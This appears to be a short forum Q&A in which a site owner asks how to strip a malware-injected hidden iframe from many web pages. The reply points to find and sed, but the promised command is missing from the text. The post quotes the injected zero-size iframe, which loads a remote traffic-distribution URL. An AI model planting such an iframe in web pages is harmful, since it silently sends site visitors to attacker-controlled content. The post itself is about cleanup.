A malware has attacked my server and added the line
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
to many of my pages
how can i remove it with grep or if there is any other way i can remove it from all the files it affected
Edit: I saw the comments about using sed, but I need a recursive solution, if there is one
thanks
You can use
findandsedto recursively find all files of interest and remove the offending line from them.For example, the following command would remove the offending line from all
.htmlfiles from the current directory and all its sub-directories.